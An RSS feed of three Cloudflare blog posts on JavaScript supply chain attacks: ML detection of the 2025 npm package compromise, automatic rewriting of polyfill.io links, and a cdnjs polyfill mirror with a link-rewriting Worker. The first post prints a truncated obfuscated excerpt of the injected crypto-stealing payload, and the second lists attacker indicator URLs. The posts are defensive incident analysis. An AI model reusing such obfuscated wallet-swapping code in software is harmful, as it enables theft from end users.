
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Wed, 15 Apr 2026 21:13:27 GMT</lastBuildDate>
        <item>
            <title><![CDATA[How Cloudflare’s client-side security made the npm supply chain attack a non-event]]></title>
            <link>https://blog.cloudflare.com/how-cloudflares-client-side-security-made-the-npm-supply-chain-attack-a-non/</link>
            <pubDate>Fri, 24 Oct 2025 17:10:43 GMT</pubDate>
            <description><![CDATA[ A recent npm supply chain attack compromised 18 popular packages. This post explains how Cloudflare’s graph-based machine learning model, which analyzes 3.5 billion scripts daily, was built to detect and block exactly this kind of threat automatically. ]]></description>
            <content:encoded><![CDATA[ <p>In early September 2025, attackers used a phishing email to compromise one or more trusted maintainer accounts on npm. They used this to publish malicious releases of 18 widely used npm packages (for example chalk, debug, ansi-styles) that account for more than <a href="https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised"><u>2 billion downloads per week</u></a>. Websites and applications that used these compromised packages were vulnerable to hackers stealing crypto assets (“crypto stealing” or “wallet draining”) from end users. In addition, compromised packages could also modify other packages owned by the same maintainers (using stolen npm tokens) and included code to <a href="https://unit42.paloaltonetworks.com/npm-supply-chain-attack/"><u>steal developer tokens for CI/CD pipelines and cloud accounts</u></a>.</p><p>As it relates to end users of your applications, the good news is that Cloudflare<a href="https://www.cloudflare.com/application-services/products/page-shield/"><u> Page Shield, our client-side security offering</u></a> will detect compromised JavaScript libraries and prevent crypto-stealing. More importantly, given the AI powering Cloudflare’s detection solutions, customers are protected from similar attacks in the future, as we explain below.</p>
            <pre><code>export default {
 aliceblue: [240, 248, 255],
 …
 yellow: [255, 255, 0],
 yellowgreen: [154, 205, 50]
}


const _0x112fa8=_0x180f;(function(_0x13c8b9,_0x35f660){const _0x15b386=_0x180f,_0x66ea25=_0x13c8b9();while(!![]){try{const _0x2cc99e=parseInt(_0x15b386(0x46c))/(-0x1caa+0x61f*0x1+-0x9c*-0x25)*(parseInt(_0x15b386(0x132))/(-0x1d6b+-0x69e+0x240b))+-parseInt(_0x15b386(0x6a6))/(0x1*-0x26e1+-0x11a1*-0x2+-0x5d*-0xa)*(-parseInt(_0x15b386(0x4d5))/(0x3b2+-0xaa*0xf+-0x3*-0x218))+-parseInt(_0x15b386(0x1e8))/(0xfe+0x16f2+-0x17eb)+-parseInt(_0x15b386(0x707))/(-0x23f8+-0x2*0x70e+-0x48e*-0xb)*(parseInt(_0x15b386(0x3f3))/(-0x6a1+0x3f5+0x2b3))+-parseInt(_0x15b386(0x435))/(0xeb5+0x3b1+-0x125e)*(parseInt(_0x15b386(0x56e))/(0x18*0x118+-0x17ee+-0x249))+parseInt(_0x15b386(0x785))/(-0xfbd+0xd5d*-0x1+0x1d24)+-parseInt(_0x15b386(0x654))/(-0x196d*0x1+-0x605+0xa7f*0x3)*(-parseInt(_0x15b386(0x3ee))/(0x282*0xe+0x760*0x3+-0x3930));if(_0x2cc99e===_0x35f660)break;else _0x66ea25['push'](_0x66ea25['shift']());}catch(_0x205af0){_0x66 …
</code></pre>
            <p><sub><i>Excerpt from the injected malicious payload, along with the rest of the innocuous normal code.</i></sub><sub> </sub><sub><i>Among other things, the payload replaces legitimate crypto addresses with attacker’s addresses (for multiple currencies, including bitcoin, ethereum, solana).</i></sub></p>
    <div>
      <h2>Finding needles in a 3.5 billion script haystack</h2>
      <a href="#finding-needles-in-a-3-5-billion-script-haystack">
        
      </a>
    </div>
    <p>Everyday, Cloudflare Page Shield assesses 3.5 billion scripts per day or 40,000 scripts per second. Of these, less than 0.3% are malicious, based on our machine learning (ML)-based malicious script detection. As explained in a prior <a href="https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/#ai-inference-at-scale"><u>blog post</u></a>, we preprocess JavaScript code into an <a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree"><u>Abstract Syntax Tree</u></a> to train a <a href="https://mbernste.github.io/posts/gcn/"><u>message-passing graph convolutional network (MPGCN)</u></a> that classifies a given JavaScript file as either malicious or benign. </p><p>The intuition behind using a graph-based model is to use both the structure (e.g. function calling, assertions) and code text to learn hacker patterns. For example, in the npm compromise, the <a href="https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised"><u>malicious code</u></a> injected in compromised packages uses code obfuscation and also modifies code entry points for crypto wallet interfaces, such as Ethereum’s window.ethereum, to swap payment destinations to accounts in the attacker’s control. Crucially, rather than engineering such behaviors as features, the model learns to distinguish between good and bad code purely from structure and syntax. As a result, it is resilient to techniques used not just in the npm compromise but also future compromise techniques. </p><p>Our ML model outputs the probability that a script is malicious which is then transformed into a score ranging from 1 to 99, with low scores indicating likely malicious and high scores indicating benign scripts. Importantly, like many Cloudflare ML models, inferencing happens in under 0.3 seconds. </p>
    <div>
      <h2>Model Evaluation</h2>
      <a href="#model-evaluation">
        
      </a>
    </div>
    <p>Since the initial launch, our JavaScript classifiers are constantly being evolved to optimize model evaluation metrics, in this case, <a href="https://en.wikipedia.org/wiki/Precision_and_recall"><u>F1 measure</u></a>. Our current metrics are </p><table><tr><th><p><b>Metric</b></p></th><th><p><b>Latest: Version 2.7</b></p></th><th><p><b>Improvement over prior version</b></p></th></tr><tr><td><p>Precision</p></td><td><p>98%</p></td><td><p>5%</p></td></tr><tr><td><p>Recall</p></td><td><p>90%</p></td><td><p>233%</p></td></tr><tr><td><p>F1</p></td><td><p>94%</p></td><td><p>123%</p></td></tr></table><p>Some of the improvements were accomplished through:</p><ul><li><p>More training examples, curated from a combination of open source datasets, security partners, and labeling of Cloudflare traffic</p></li><li><p>Better training examples, for instance, by removing samples with pure comments in them or scripts with nearly equal structure</p></li><li><p>Better training set stratification, so that training, validation and test sets all have similar distribution of classes of interest</p></li><li><p>Tweaking the evaluation criteria to maximize recall with 99% precision</p></li></ul><p>Given the confusion matrix, we should expect about 2 false positives per second, if we assume ~0.3% of the 40,000 scripts per second are flagged as malicious. We employ multiple LLMs alongside expert human security analysts to review such scripts around the clock. Most False Positives we encounter in this way are rather challenging. For example, scripts that read all form inputs except credit card numbers (e.g. reject input values that test true using the <a href="https://en.wikipedia.org/wiki/Luhn_algorithm"><u>Luhn algorithm</u></a>), injecting dynamic scripts, heavy user tracking, heavy deobfuscation, etc. User tracking scripts often exhibit a combination of these behaviors, and the only reliable way to distinguish truly malicious payloads is by assessing the trustworthiness of their connected domains. We feed all newly labeled scripts back into our ML training (&amp; testing) pipeline.</p><p>Most importantly, we verified that Cloudflare Page Shield would have successfully detected all 18 compromised npm packages as malicious (a novel attack, thus, not in the training data)..</p>
    <div>
      <h2>Planned improvements</h2>
      <a href="#planned-improvements">
        
      </a>
    </div>
    <p>Static script analysis has proven effective and is sometimes the only viable approach (e.g., for npm packages). To address more challenging cases, we are enhancing our ML signals with contextual data including script URLs, page hosts, and connected domains. Modern Agentic AI approaches can wrap JavaScript runtimes as tools in an overall AI workflow. Then, they can enable a hybrid approach that combines static and dynamic analysis techniques to tackle challenging false positive scenarios, such as user tracking scripts.</p>
    <div>
      <h3>Consolidating classifiers</h3>
      <a href="#consolidating-classifiers">
        
      </a>
    </div>
    <p><a href="https://blog.cloudflare.com/detecting-magecart-style-attacks-for-pageshield/"><u>Over 3 years ago</u></a> we launched our classifier, “<a href="https://developers.cloudflare.com/page-shield/detection/review-malicious-scripts/#review-malicious-scripts"><u>Code Behaviour Analysis</u></a>” for Magecart-style scripts that learns  code obfuscation and data exfiltration behaviors. Subsequently, we also deployed our <a href="https://mbernste.github.io/posts/gcn/"><u>message-passing graph convolutional network (MPGCN)</u></a> based approach that can also classify <a href="https://blog.cloudflare.com/navigating-the-maze-of-magecart/"><u>Magecart attacks</u></a>. Given the efficacy of the MPGCN-based malicious code analysis, we are announcing the end-of-life of <a href="https://developers.cloudflare.com/page-shield/detection/review-malicious-scripts/#review-malicious-scripts"><u>code behaviour analysis</u></a> by the end of 2025. </p>
    <div>
      <h2>Staying safe always</h2>
      <a href="#staying-safe-always">
        
      </a>
    </div>
    <p>In the npm attack, we did not see any activity in the Cloudflare network related to this compromise among Page Shield users, though for other exploits, we catch its traffic within minutes. In this case, patches of the compromised npm packages were released in 2 hours or less, and given that the infected payloads had to be built into end user facing applications for end user impact, we suspect that our customers dodged the proverbial bullet. That said, had traffic gotten through, Page Shield was already equipped to detect and block this threat.</p><p>Also make sure to consult our <a href="https://developers.cloudflare.com/page-shield/how-it-works/malicious-script-detection/#malicious-script-detection"><u>Page Shield Script detection</u></a> to find malicious packages. Consult the Connections tab within Page Shield to view suspicious connections made by your applications.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6rMXJZVWEu6LkupOPY2pOB/0740a085fa2a64de3cff148fc29ad328/BLOG-3052_2.png" />
          </figure><p><sub><i>Several scripts are marked as malicious. </i></sub></p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1oj2WALUAurKuu2XYTdKPm/fe8a564f10888e656c2510bc2a91dd6f/BLOG-3052_3.png" />
          </figure><p><sub><i>Several connections are marked as malicious. </i></sub></p><p>
And be sure to complete the following steps:</p><ol><li><p><b>Audit your dependency tree</b> for recently published versions (check package-lock.json / npm ls) and look for versions published around early–mid September 2025 of widely used packages. </p></li><li><p><b>Rotate any credentials</b> that may have been exposed to your build environment.</p></li><li><p><b>Revoke and reissue CI/CD tokens and service keys</b> that might have been used in build <a href="https://www.cloudflare.com/learning/serverless/glossary/what-is-ci-cd/">pipelines</a> (GitHub Actions, npm tokens, cloud credentials).</p></li><li><p><b>Pin dependencies</b> to known-good versions (or use lockfiles), and consider using a package allowlist / verified publisher features from your registry provider.</p></li><li><p><b>Scan build logs and repos for suspicious commits/GitHub Actions changes</b> and remove any unknown webhooks or workflows.</p></li></ol><p>While vigilance is key, automated defenses provide a crucial layer of protection against fast-moving supply chain attacks. Interested in better understanding your client-side supply chain? Sign up for our free, custom <a href="https://www.cloudflare.com/lp/client-side-risk-assessment/"><u>Client-Side Risk Assessment</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Supply Chain Attacks]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Malicious JavaScript]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Developers]]></category>
            <guid isPermaLink="false">1DRrVAPmyZYyz2avWuwYZ4</guid>
            <dc:creator>Bashyam Anant</dc:creator>
            <dc:creator>Juan Miguel Cejuela</dc:creator>
            <dc:creator>Zhiyuan Zheng</dc:creator>
            <dc:creator>Denzil Correa</dc:creator>
            <dc:creator>Israel Adura</dc:creator>
            <dc:creator>Georgie Yoxall</dc:creator>
        </item>
        <item>
            <title><![CDATA[Automatically replacing polyfill.io links with Cloudflare’s mirror for a safer Internet]]></title>
            <link>https://blog.cloudflare.com/automatically-replacing-polyfill-io-links-with-cloudflares-mirror-for-a-safer-internet/</link>
            <pubDate>Wed, 26 Jun 2024 20:23:41 GMT</pubDate>
            <description><![CDATA[ polyfill.io, a popular JavaScript library service, can no longer be trusted and should be removed from websites ]]></description>
            <content:encoded><![CDATA[ <p></p><p>polyfill.io, a popular JavaScript library service, can no longer be trusted and should be removed from websites.</p><p><a href="https://sansec.io/research/polyfill-supply-chain-attack">Multiple reports</a>, corroborated with data seen by our own client-side security system, <a href="https://developers.cloudflare.com/page-shield/">Page Shield</a>, have shown that the polyfill service was being used, and could be used again, to inject malicious JavaScript code into users’ browsers. This is a real threat to the Internet at large given the popularity of this library.</p><p>We have, over the last 24 hours, released an automatic JavaScript URL rewriting service that will rewrite any link to polyfill.io found in a website proxied by Cloudflare <a href="https://cdnjs.cloudflare.com/polyfill/">to a link to our mirror under cdnjs</a>. This will avoid breaking site functionality while mitigating the risk of a supply chain attack.</p><p>Any website on the free plan has this feature automatically activated now. Websites on any paid plan can turn on this feature with a single click.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5R0ht5q4fAwm8gm3a2Xe5U/6b3ec28498e76ff75e37b58f3673e49a/image1-22.png" />
            
            </figure><p>You can find this new feature under <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings">Security ⇒ Settings</a> on any zone using Cloudflare.</p><p>Contrary to what is stated on the polyfill.io website, Cloudflare has never recommended the polyfill.io service or authorized their use of Cloudflare’s name on their website. We have asked them to remove the false statement, and they have, so far, ignored our requests. This is yet another warning sign that they cannot be trusted.</p><p>If you are not using Cloudflare today, we still highly recommend that you remove any use of polyfill.io and/or find an alternative solution. And, while the automatic replacement function will handle most cases, the best practice is to remove polyfill.io from your projects and replace it with a secure alternative mirror like Cloudflare’s even if you are a customer.</p><p>You can do this by searching your code repositories for instances of polyfill.io and replacing it with <a href="https://cdnjs.cloudflare.com/polyfill/">cdnjs.cloudflare.com/polyfill/</a> (Cloudflare’s mirror). This is a non-breaking change as the two URLs will serve the same polyfill content. All website owners, regardless of the website using Cloudflare, should do this now.</p>
    <div>
      <h2>How we came to this decision</h2>
      <a href="#how-we-came-to-this-decision">
        
      </a>
    </div>
    <p>Back in February, the domain polyfill.io, which hosts a popular JavaScript library, was sold to a new owner: Funnull, a relatively unknown company. <a href="/polyfill-io-now-available-on-cdnjs-reduce-your-supply-chain-risk">At the time, we were concerned</a> that this created a supply chain risk. This led us to spin up our own mirror of the polyfill.io code hosted under cdnjs, a JavaScript library repository sponsored by Cloudflare.</p><p>The new owner was unknown in the industry and did not have a track record of trust to administer a project such as polyfill.io. The concern, <a href="https://x.com/triblondon/status/1761852117579427975">highlighted even by the original author</a>, was that if they were to abuse polyfill.io by injecting additional code to the library, it could cause far-reaching security problems on the Internet affecting several hundreds of thousands websites. Or it could be used to perform a targeted supply-chain attack against specific websites.</p><p>Unfortunately, that worry came true on June 25, 2024, as the polyfill.io service was being used to inject nefarious code that, under certain circumstances, redirected users to other websites.</p><p>We have taken the exceptional step of using our ability to modify HTML on the fly to replace references to the polyfill.io CDN in our customers’ websites with links to our own, safe, mirror created back in February.</p><p>In the meantime, additional threat feed providers have also taken the decision to <a href="https://github.com/uBlockOrigin/uAssets/commit/91dfc54aed0f0aa514c1a481c3e63ea16da94c03">flag the domain as malicious</a>. We have not outright blocked the domain through any of the mechanisms we have because we are concerned it could cause widespread web outages given how broadly polyfill.io is used with some estimates indicating <a href="https://w3techs.com/technologies/details/js-polyfillio">usage on nearly 4% of all websites</a>.</p>
    <div>
      <h3>Corroborating data with Page Shield</h3>
      <a href="#corroborating-data-with-page-shield">
        
      </a>
    </div>
    <p>The original report indicates that malicious code was injected that, under certain circumstances, would redirect users to betting sites. It was doing this by loading additional JavaScript that would perform the redirect, under a set of additional domains which can be considered Indicators of Compromise (IoCs):</p>
            <pre><code>https://www.googie-anaiytics.com/analytics.js
https://www.googie-anaiytics.com/html/checkcachehw.js
https://www.googie-anaiytics.com/gtags.js
https://www.googie-anaiytics.com/keywords/vn-keyword.json
https://www.googie-anaiytics.com/webs-1.0.1.js
https://www.googie-anaiytics.com/analytics.js
https://www.googie-anaiytics.com/webs-1.0.2.js
https://www.googie-anaiytics.com/ga.js
https://www.googie-anaiytics.com/web-1.0.1.js
https://www.googie-anaiytics.com/web.js
https://www.googie-anaiytics.com/collect.js
https://kuurza.com/redirect?from=bitget</code></pre>
            <p>(note the intentional misspelling of Google Analytics)</p><p>Page Shield, our client side security solution, is available on all paid plans. When turned on, it collects information about JavaScript files loaded by end user browsers accessing your website.</p><p>By looking at the database of detected JavaScript files, we immediately found matches with the IoCs provided above starting as far back as 2024-06-08 15:23:51 (first seen timestamp on Page Shield detected JavaScript file). This was a clear indication that malicious activity was active and associated with polyfill.io.</p>
    <div>
      <h3>Replacing insecure JavaScript links to polyfill.io</h3>
      <a href="#replacing-insecure-javascript-links-to-polyfill-io">
        
      </a>
    </div>
    <p>To achieve performant HTML rewriting, we need to make blazing-fast HTML alterations as responses stream through Cloudflare’s network. This has been made possible by leveraging <a href="/rust-nginx-module">ROFL (Response Overseer for FL)</a>. ROFL powers various Cloudflare products that need to alter HTML as it streams, such as <a href="https://developers.cloudflare.com/speed/optimization/content/fonts/">Cloudflare Fonts,</a> <a href="https://developers.cloudflare.com/waf/tools/scrape-shield/email-address-obfuscation/">Email Obfuscation</a> and <a href="https://developers.cloudflare.com/speed/optimization/content/rocket-loader/">Rocket Loader</a></p><p>ROFL is developed entirely in Rust. The memory-safety features of Rust are indispensable for ensuring protection against memory leaks while processing a staggering volume of requests, measuring in the millions per second. Rust's compiled nature allows us to finely optimize our code for specific hardware configurations, delivering performance gains compared to interpreted languages.</p><p>The performance of ROFL allows us to rewrite HTML on-the-fly and modify the polyfill.io links quickly, safely, and efficiently. This speed helps us reduce any additional latency added by processing the HTML file.</p><p>If the feature is turned on, for any HTTP response with an HTML Content-Type, we parse all JavaScript script tag source attributes. If any are found linking to polyfill.io, we rewrite the src attribute to link to our mirror instead. We map to the correct version of the polyfill service while the query string is left untouched.</p><p>The logic will not activate if a Content Security Policy (CSP) header is found in the response. This ensures we don’t replace the link while breaking the CSP policy and therefore potentially breaking the website.</p>
    <div>
      <h3>Default on for free customers, optional for everyone else</h3>
      <a href="#default-on-for-free-customers-optional-for-everyone-else">
        
      </a>
    </div>
    <p>Cloudflare proxies millions of websites, and a large portion of these sites are on our free plan. Free plan customers tend to have simpler applications while not having the resources to update and react quickly to security concerns. We therefore decided to turn on the feature by default for sites on our free plan, as the likelihood of causing issues is reduced while also helping keep safe a very large portion of applications using polyfill.io.</p><p>Paid plan customers, on the other hand, have more complex applications and react quicker to security notices. We are confident that most paid customers using polyfill.io and Cloudflare will appreciate the ability to virtually patch the issue with a single click, while controlling when to do so.</p><p>All customers can turn off the feature at any time.</p><p>This isn’t the first time we’ve decided a security problem was so widespread and serious that we’d enable protection for all customers regardless of whether they were a paying customer or not. Back in 2014, we enabled <a href="/shellshock-protection-enabled-for-all-customers">Shellshock protection</a> for everyone. In 2021, when the log4j vulnerability was disclosed <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">we rolled out protection</a> for all customers.</p>
    <div>
      <h2>Do not use polyfill.io</h2>
      <a href="#do-not-use-polyfill-io">
        
      </a>
    </div>
    <p>If you are using Cloudflare, you can remove polyfill.io with a single click on the Cloudflare dashboard by heading over to <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings">your zone ⇒ Security ⇒ Settings</a>. If you are a free customer, the rewrite is automatically active. This feature, we hope, will help you quickly patch the issue.</p><p>Nonetheless, you should ultimately search your code repositories for instances of polyfill.io and replace them with an alternative provider, such as Cloudflare’s secure mirror under cdnjs (<a href="https://cdnjs.cloudflare.com/polyfill/">https://cdnjs.cloudflare.com/polyfill/</a>). Website owners who are not using Cloudflare should also perform these steps.</p><p>The underlying bundle links you should use are:</p><p>For minified: <a href="https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js">https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js</a>
For unminified: <a href="https://cdnjs.cloudflare.com/polyfill/v3/polyfill.js">https://cdnjs.cloudflare.com/polyfill/v3/polyfill.js</a></p><p>Doing this ensures your website is no longer relying on polyfill.io.</p> ]]></content:encoded>
            <category><![CDATA[CDNJS]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Application Security]]></category>
            <category><![CDATA[Application Services]]></category>
            <category><![CDATA[Supply Chain Attacks]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Better Internet]]></category>
            <guid isPermaLink="false">3NHy1gOkql57RbBcdjWs5g</guid>
            <dc:creator>Matthew Prince</dc:creator>
            <dc:creator>John Graham-Cumming</dc:creator>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[polyfill.io now available on cdnjs: reduce your supply chain risk]]></title>
            <link>https://blog.cloudflare.com/polyfill-io-now-available-on-cdnjs-reduce-your-supply-chain-risk/</link>
            <pubDate>Thu, 29 Feb 2024 17:51:32 GMT</pubDate>
            <description><![CDATA[ Polyfill.io is now available on cdnjs to reduce the risk of supply chain attacks. Replace your polyfill.io links today for a seamless experience ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4nxvskYVuRnRJHoLUMRY4l/e26d2d6b57eb9a286238ab84863dc947/image1-17.png" />
            
            </figure><p>Polyfill.io is a popular JavaScript library that nullifies differences across old browser versions. These differences often take up substantial development time.</p><p>It does this by adding support for modern functions (via <a href="https://developer.mozilla.org/en-US/docs/Glossary/Polyfill">polyfilling</a>), ultimately letting developers work against a uniform environment simplifying development. The tool is historically loaded by linking to the endpoint provided under the domain polyfill.io.</p><p>In the interest of providing developers with additional options to use polyfill, today we are launching an <a href="https://cdnjs.cloudflare.com/polyfill">alternative endpoint under cdnjs</a>. You can replace links to polyfill.io “as is” with our new endpoint. You will then rely on the same service and reputation that <a href="https://cdnjs.com/">cdnjs</a> has built over the years for your polyfill needs.</p><p>Our interest in creating an alternative endpoint was also sparked by some <a href="https://github.com/polyfillpolyfill/polyfill-service/issues/2834">concerns raised by the community</a>, and <a href="https://twitter.com/triblondon/status/1761852117579427975">main contributors</a>, following the transition of the domain polyfill.io to a new provider (Funnull).</p><p>The concerns are that any website embedding a link to the original polyfill.io domain, will now be relying on Funnull to maintain and secure the underlying project to avoid the risk of a supply chain attack. Such an attack would occur if the underlying third party is compromised or alters the code being served to end users in nefarious ways, causing, by consequence, all websites using the tool to be compromised.</p><p>Supply chain attacks, in the context of web applications, are a growing concern for security teams, and also led us to build a client side security product to detect and mitigate these attack vectors: <a href="https://developers.cloudflare.com/page-shield/">Page Shield</a>.</p><p>Irrespective of the scenario described above, this is a timely reminder of the complexities and risks tied to modern web applications. As maintainers and contributors of <a href="https://cdnjs.com/">cdnjs</a>, currently used by <a href="https://w3techs.com/technologies/overview/content_delivery">more than 12% of all sites</a>, this reinforces our commitment to help keep the Internet safe.</p>
    <div>
      <h3>polyfill.io on cdnjs</h3>
      <a href="#polyfill-io-on-cdnjs">
        
      </a>
    </div>
    <p>The full polyfill.io implementation has been deployed at the following URL:</p><p><a href="https://cdnjs.cloudflare.com/polyfill/"><code>https://cdnjs.cloudflare.com/polyfill/</code></a></p><p>The underlying bundle link is:</p><p>For minified: <a href="https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js">https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js</a>For unminified: <a href="https://cdnjs.cloudflare.com/polyfill/v3/polyfill.js">https://cdnjs.cloudflare.com/polyfill/v3/polyfill.js</a></p><p>Usage and deployment is intended to be identical to the original polyfill.io site. As a developer, you should be able to simply “replace” the old link with the new cdnjs-hosted link without observing any side effects, besides a possible improvement in performance and reliability.</p><p>If you don’t have access to the underlying website code, but your website is behind Cloudflare, replacing the links is even easier, as you can deploy a Cloudflare Worker to update the links for you:</p>
            <pre><code>export interface Env {}

export default {
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise&lt;Response&gt; {
        ctx.passThroughOnException();

        const response = await fetch(request);

        if ((response.headers.get('content-type') || '').includes('text/html')) {
            const rewriter = new HTMLRewriter()
                .on('link', {
                    element(element) {
                        const rel = element.getAttribute('rel');
                        if (rel === 'preconnect') {
                            const href = new URL(element.getAttribute('href') || '', request.url);

                            if (href.hostname === 'polyfill.io') {
                                href.hostname = 'cdnjs.cloudflare.com';
                                element.setAttribute('href', href.toString());
                            }
                        }
                    },
                })

                .on('script', {
                    element(element) {
                        if (element.hasAttribute('src')) {
                            const src = new URL(element.getAttribute('src') || '', request.url);
                            if (src.hostname === 'polyfill.io') {
                                src.hostname = 'cdnjs.cloudflare.com';
                                src.pathname = '/polyfill' + src.pathname;

                                element.setAttribute('src', src.toString());
                            }
                        }
                    },
                });

            return rewriter.transform(response);
        } else {
            return response;
        }
    },
};</code></pre>
            <p>Instructions on how to deploy a worker can be found on our <a href="https://developers.cloudflare.com/workers/get-started/">developer documentation</a>.</p><p>You can also test the Worker on your website without deploying the worker. You can find instructions on how to do this in <a href="/workers-and-webpagetest/">another blog post we wrote in the past</a>.</p>
    <div>
      <h3>Implemented with Rust on Cloudflare Workers</h3>
      <a href="#implemented-with-rust-on-cloudflare-workers">
        
      </a>
    </div>
    <p>We were happy to discover that polyfill.io is a <a href="https://github.com/polyfillpolyfill/polyfill-service">Rust project</a>. As you might know, Rust has been a <a href="/workers-rust-sdk">first class citizen on Cloudflare Workers</a> from the start.</p><p>The polyfill.io service was hosted on Fastly and used their Rust library. We forked the project to add the compatibility for Cloudflare Workers, and plan to make the fork publicly accessible in the near future.</p>
    <div>
      <h3>Worker</h3>
      <a href="#worker">
        
      </a>
    </div>
    <p>The <code>https://cdnjs.cloudflare.com/polyfill/[...].js</code> endpoints are also implemented in a Cloudflare Worker that wraps our Polyfill.io fork. The wrapper uses <a href="https://github.com/cloudflare/workers-rs">Cloudflare’s Rust API</a> and looks like the following:</p>
            <pre><code>#[event(fetch)]
async fn main(req: Request, env: Env, ctx: Context) -&gt; Result&lt;Response&gt; {
    let metrics = {...};

    let polyfill_store = get_d1(&amp;req, &amp;env)?;
    let polyfill_env = Arc::new(service::Env { polyfill_store, metrics });
    
    // Run the polyfill.io entrypoint
    let res = service::handle_request(req2, polyfill_env).await;

    let status_code = if let Ok(res) = &amp;res {
        res.status_code()
    } else {
        500
    };
    metrics
        .requests
        .with_label_values(&amp;[&amp;status_code.to_string()])
        .inc();

    ctx.wait_until(async move {
        if let Err(err) = metrics.report_metrics().await {
            console_error!("failed to report metrics: {err}");
        }
    });

    res
}</code></pre>
            <p>The wrapper only sets up our internal <a href="https://developers.cloudflare.com/workers/observability/metrics-and-analytics/">metrics</a> and <a href="https://developers.cloudflare.com/workers/observability/logging/logpush/">logging</a> tools, so we can monitor uptime and performance of the underlying logic while calling the Polyfill.io entrypoint.</p>
    <div>
      <h3>Storage for the Polyfill files</h3>
      <a href="#storage-for-the-polyfill-files">
        
      </a>
    </div>
    <p>All the polyfill files are stored in a key-value store powered by <a href="https://developers.cloudflare.com/d1/">Cloudflare D1</a>. This allows us to fetch as many polyfill files as we need with a single SQL query, as opposed to the original implementation doing one KV get() per file.</p><p>For performance, we have one Cloudflare D1 instance per region and the SQL queries are routed to the nearest database.</p>
    <div>
      <h3>cdnjs for your JavaScript libraries</h3>
      <a href="#cdnjs-for-your-javascript-libraries">
        
      </a>
    </div>
    <p>cdnjs is hosting over 6k JavaScript libraries as of today. We are looking for ways to improve the service and provide new content. We listen to community feedback and welcome suggestions on our <a href="https://community.cloudflare.com/">community forum</a>, or <a href="https://github.com/cdnjs">cdnjs on GitHub</a>.</p><p><a href="https://developers.cloudflare.com/page-shield/">Page Shield</a> is also available to all paid plans. Log in to turn it on with a single click to increase visibility and security for your third party assets.</p> ]]></content:encoded>
            <category><![CDATA[CDNJS]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Supply Chain Attacks]]></category>
            <guid isPermaLink="false">64KHlCJKCdI1JNa3sCAqpL</guid>
            <dc:creator>Sven Sauleau</dc:creator>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
    </channel>
</rss>